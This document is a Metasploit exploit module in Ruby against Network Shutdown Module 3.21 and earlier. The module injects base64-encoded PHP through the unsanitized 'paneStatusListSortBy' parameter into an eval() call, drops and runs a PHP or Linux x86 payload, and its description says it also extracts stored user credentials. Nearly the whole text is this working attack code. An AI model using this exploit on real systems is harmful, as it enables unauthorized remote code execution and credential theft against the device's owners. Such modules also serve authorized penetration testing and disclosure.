Network Shutdown Module 3.21 – ‘sort_values’ Remote PHP Code Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in lib/dbtools.inc which uses unsanitized user input inside a eval() call. Additionally the base64 encoded user credentials are extracted from the database of the application. Please note that in order to be able to steal credentials, the vulnerable service must have at least one USV module (an entry in the "nodes" table in mgedb.db) }, 'Author' => [ 'h0ng10', # original discovery, msf module 'sinn3r' # PhpEXE shizzle ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '83199'], ['URL', 'http://secunia.com/advisories/49103/'] ], 'Payload' => { 'DisableNops' => true, 'Space' => 4000 }, 'Platform' => ['php', 'linux'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Jun 26 2012' )) register_options( [ Opt::RPORT(4679) ], self.class) end def check # we use a call to phpinfo() for verification res = execute_php_code("phpinfo();die();") if not res or res.code != 200 print_error("Failed: Error requesting page") return CheckCode::Unknown end return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/) return CheckCode::Safe end def execute_php_code(code, opts = {}) param_name = rand_text_alpha(6) padding = rand_text_alpha(6) url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f" res = send_request_cgi( { 'uri' => '/view_list.php', 'method' => 'POST', 'vars_get' => { 'paneStatusListSortBy' => url_param, }, 'vars_post' => { param_name => Rex::Text.encode_base64(code), }, 'headers' => { 'Connection' => 'Close', } }) end def no_php_tags(p) p = p.gsub(/^<\?php /, '') p.gsub(/ \?\>$/, '') end def exploit print_status("#{rhost}:#{rport} - Sending payload") unlink = (target['Platform'] == 'linux') ? true : false p = no_php_tags(get_write_exec_payload(:unlink_self => unlink)) execute_php_code(p) handler end end |